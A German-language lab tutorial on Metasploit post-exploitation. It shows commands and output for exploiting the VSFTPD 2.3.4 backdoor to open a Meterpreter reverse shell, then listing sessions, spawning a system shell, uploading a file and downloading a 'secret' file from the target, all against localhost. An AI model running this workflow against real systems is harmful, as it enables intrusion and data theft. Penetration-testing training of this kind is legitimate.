Metasploit: Grundlagen der Post-Exploitation

LinuxBeginner
Jetzt üben

Einführung

In diesem Lab erlernen Sie die Grundlagen der Post-Exploitation unter Verwendung des Metasploit Frameworks. Zunächst verschaffen Sie sich durch die Ausnutzung eines verwundbaren FTP-Servers einen ersten Zugriff, um eine Meterpreter-Session zu etablieren. Anschließend gehen Sie zur Post-Exploitation-Phase über. Das Ziel dieser Phase ist es, das kompromittierte System zu erkunden, Privilegien zu eskalieren und Daten zu exfiltrieren.

Sie werden wesentliche Meterpreter-Befehle üben, um mit einer Session zu interagieren, Shell-Befehle auszuführen und Dateien zwischen der Angreifer- und der Zielmaschine zu übertragen. Dieses Lab führt Sie vom initialen Exploit bis hin zu grundlegenden Post-Exploitation-Techniken.

Initialen Zugriff erlangen

In diesem Schritt verschaffen Sie sich Zugriff auf das Zielsystem, indem Sie eine Backdoor im Dienst VSFTPD 2.3.4 ausnutzen. Dies liefert Ihnen eine Meterpreter-Session für die Post-Exploitation.

Starten Sie zunächst die Metasploit Framework-Konsole.

msfconsole -q

Sobald Metasploit läuft, wählen Sie den Exploit für die VSFTPD 2.3.4 Backdoor aus.

use exploit/unix/ftp/vsftpd_234_backdoor

Konfigurieren Sie nun die Ziel- und Payload-Optionen. Da der Dienst auf derselben Maschine läuft, verwenden wir die Loopback-IP. Die Standard-Payload erfordert LHOST und schlägt möglicherweise mit der Meldung "All encoders failed to encode" fehl – setzen Sie den Encoder, um dies zu vermeiden:

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

Starten Sie abschließend den Exploit.

exploit

FEHLERBEHEBUNG: Falls Sie Msf::OptionValidateError One or more options failed to validate: LHOST sehen, führen Sie set LHOST 127.0.0.1 aus. Falls Sie All encoders failed to encode sehen, führen Sie set Encoder generic/none aus. Führen Sie danach erneut exploit aus.

WARNUNG: Der erste Versuch könnte mit "Unable to connect to backdoor on 6200/TCP. Cooldown?" oder "Exploit completed, but no session was created." fehlschlagen. Sollte dies passieren, führen Sie einfach erneut den Befehl exploit aus – der zweite Versuch sollte erfolgreich sein.

Bei Erfolg wird eine Meterpreter-Session geöffnet (Session 1).

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Sie verfügen nun über eine Meterpreter-Session. Um für den nächsten Schritt zum msf > Prompt zurückzukehren, drücken Sie Ctrl+Z und geben Sie bei der Frage "Background session 1?" ein y ein.

Mit der Meterpreter-Session interagieren

Nachdem Sie nun eine Meterpreter-Session im Hintergrund haben, lernen Sie, wie Sie damit interagieren. Der Befehl sessions listet alle aktiven Sessions auf und funktioniert nur am Haupt-Prompt von Metasploit (msf exploit(...) >), nicht innerhalb von Meterpreter.

Um Ihre aktiven Sessions zu sehen, führen Sie aus:

sessions

Sie sollten Ihre Meterpreter-Session mit der ID 1 sehen.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Um mit Session 1 zu interagieren, führen Sie aus:

sessions -i 1

Ihr Prompt ändert sich zu meterpreter >, was anzeigt, dass Sie sich nun innerhalb der Session befinden.

[*] Starting interaction with 1...

meterpreter >

Sie sind nun bereit, Post-Exploitation-Befehle innerhalb von Meterpreter auszuführen.

Shell-Befehle mit dem shell-Befehl ausführen

Innerhalb von Meterpreter können Sie in eine Standard-System-Shell wechseln, um Befehle auf dem Ziel auszuführen. Dies ist nützlich, wenn Sie Shell-spezifische Befehle oder Skripte ausführen müssen.

Geben Sie am meterpreter > Prompt Folgendes ein:

shell

Eine Standard-Shell öffnet sich auf dem Remote-Ziel. Der Prompt scheint kurz zu hängen, aber Sie befinden sich nun in einer System-Shell und können Befehle direkt ausführen.

Process 1654 created.
Channel 1 created.

Führen Sie whoami aus, um Ihren Benutzerkontext zu bestätigen:

whoami
labex

Geben Sie exit ein, um zum Meterpreter-Prompt zurückzukehren.

exit

Ihr Prompt ändert sich zurück zu meterpreter >. Im nächsten Schritt verwenden Sie diese Session, um eine Datei auf das Ziel hochzuladen.

Datei hochladen mit upload /lokaler/pfad /entfernter/pfad

Der upload-Befehl von Meterpreter überträgt Dateien von Ihrer lokalen Maschine auf das Ziel. Eine Datei namens local_file.txt befindet sich in /home/labex/project. Laden Sie diese nach /tmp auf der Remote-Maschine hoch.

Führen Sie am meterpreter > Prompt aus:

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

Sie sehen eine Ausgabe, die den Upload bestätigt:

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

In diesem Lab läuft das Ziel auf derselben Maschine, daher erscheint die Datei unter /tmp/uploaded_file.txt. Als Nächstes üben Sie den umgekehrten Vorgang: das Herunterladen einer Datei vom Ziel.

Datei herunterladen mit download /entfernter/pfad /lokaler/pfad

Der download-Befehl überträgt Dateien vom Ziel auf Ihre lokale Maschine. Eine Datei namens secret_data.txt befindet sich unter /tmp auf dem Remote-System. Laden Sie diese in Ihr Projektverzeichnis herunter.

Führen Sie am meterpreter > Prompt aus:

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

Sie sehen eine Ausgabe, die den Download bestätigt. Meterpreter erstellt möglicherweise ein Verzeichnis namens downloaded_secret.txt und legt die Datei darin als secret_data.txt ab.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

Die Datei befindet sich nun auf Ihrer lokalen Maschine. Im letzten Schritt schließen Sie die Session und überprüfen den heruntergeladenen Inhalt.

Session beenden mit dem exit-Befehl

In diesem letzten Schritt schließen Sie die Meterpreter-Session und verlassen die Metasploit-Konsole.

Geben Sie am meterpreter > Prompt exit ein, um die Session zu schließen.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Um die Metasploit-Konsole zu verlassen, geben Sie exit ein. Falls Sie nach einer aktiven Session gefragt werden, verwenden Sie exit -y, um das Beenden zu erzwingen.

exit -y

Überprüfen Sie die heruntergeladene Datei. Wie bereits erwähnt, hat Meterpreter möglicherweise ein Verzeichnis erstellt; die Datei befindet sich unter downloaded_secret.txt/secret_data.txt:

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

Herzlichen Glückwunsch! Sie haben einen vollständigen Exploit- und Post-Exploitation-Workflow abgeschlossen.

Zusammenfassung

In diesem Lab haben Sie einen vollständigen Workflow vom initialen Zugriff bis zur Post-Exploitation kennengelernt. Sie begannen damit, über einen Exploit eine Meterpreter-Session zu erhalten. Sie haben geübt, wie man Sessions auflistet und mit ihnen interagiert, wie man von Meterpreter aus eine Standard-System-Shell erhält und wie man die Dateiübertragung zwischen Angreifer- und Zielmaschine mittels der Befehle upload und download meistert. Abschließend haben Sie gelernt, wie man eine Session ordnungsgemäß schließt und die Metasploit-Konsole verlässt. Diese Fähigkeiten sind grundlegend für Penetrationstests.